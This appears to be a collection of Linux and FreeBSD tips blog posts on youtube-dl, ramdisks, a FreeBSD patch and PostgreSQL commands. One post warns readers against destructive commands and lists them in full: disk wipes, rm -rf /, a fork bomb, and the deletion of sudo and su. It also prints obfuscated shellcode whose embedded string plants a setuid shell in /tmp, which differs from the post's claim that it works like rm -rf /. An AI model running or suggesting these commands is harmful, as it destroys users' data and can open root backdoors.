If you use Ubuntu (or other Linux distribution) and you wish to download some video from youtube.com into .flv file you can try using youtube-dl command line utility. It just downloads videos without any online applications, converters or etc. Type the following command in terminal to get it installed:
sudo apt-get install youtube-dl
Let’s imagine you would like to download the following video: http://www.youtube.com/watch?v=2leg8mUE9rs (this is part of Military Parade at Red Square in Russia at 9th of May 2010). Just run youtube-dl download utility as follows:
youtube-dl http://www.youtube.com/watch?v=2leg8mUE9rs
and in a few minutes you will get 2leg8mUE9rs.flv file that could be viewed using almost any video player like my favorite one VLC.
I hope many of you will agree that sometimes it’s really good idea to have some small amount of RAM mounted as a filesystem. It may be necessary when running some bash or perl script that handles, say, thousands of small files so it’s much more effective not to waste computer resources on reading/writing data on hard disk but keep those files directly in memory. This idea is known as Virtual RAM Drive or ramdisk and can be setup in Ubuntu or almost any other Linux distribution using the following commands under root (to become root in Ubuntu use "sudo -s“):
# mkdir /tmp/ramdisk; chmod 777 /tmp/ramdisk
# mount -t tmpfs -o size=256M tmpfs /tmp/ramdisk/
where 256M is amount of RAM you wish to allocate for ramdisk. It’s clear that this value should be less than amount of free memory (use “free -m“). BTW, if you specify too many MBs for ramdisk Linux will try to allocate it from RAM and then from swap so resulting performance would be very poor.
In this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.
NEVER RUN THESE COMMANDS IN LINUX BOX CLI!
Even if somebody advises you in forum/im to do it.
1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:
- sudo rm -rf /
- rm -rf .*
- dd if=/dev/zero of=/dev/sda
- mkfs.ext3 /dev/hda
- whatever > /dev/hda
- cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
- find -type f -mtime +30 -exec mv {} /dev/null \;
- mv ~ /dev/null
- mv / /dev/null
2. Causes kernel panic or freezes Linux box:
- dd if=/dev/random of=/dev/port
-
){:|:&};: #also known as fork bomb
3. This one does the same as “rm -rf /”:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
4. This one will prevent you from executing commands with root rights:
rm -f /usr/bin/sudo;rm -f /bin/su
If you know any other commands that can damage running Linux system or pose fatal problem to system administrators — just comment it here so I could update this post. Thanks.
Update: See what happens if execute rm -rf / in Ubuntu: http://www.youtube.com/watch?v=wWOjmvWPRvQ
Date: December 2, 2009. Categories:
tips.
Yesterday really serious security bug was found in FreeBSD (from 7.1 to 8.0). Using public exploit local user can gain root privileges on vulnerable system. Below is an easy way solution to fix this terrible bug:
% cd /usr/src/libexec/rtld-elf/
% fetch http://people.freebsd.org/~cperciva/rtld.patch
% cat rtld.patch | patch -p1
% make && make install && make clean
Thanks to soko1 from truebsd.org.
Date: July 3, 2009. Categories:
linux and tips.
PostgreSQL is one of the best database engines for an average web project and many who moves to psql from mysql (for example) often ask the following questions: what is the analog of “show tables” in postgres? or how can I get the list of databases in postgres like “show databases” in mysql? The answers are short:
mysql: SHOW TABLES
postgresql: \d
postgresql: SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';
mysql: SHOW DATABASES
postgresql: \l
postgresql: SELECT datname FROM pg_database;
mysql: SHOW COLUMNS
postgresql: \d table
postgresql: SELECT column_name FROM information_schema.columns WHERE table_name ='table';
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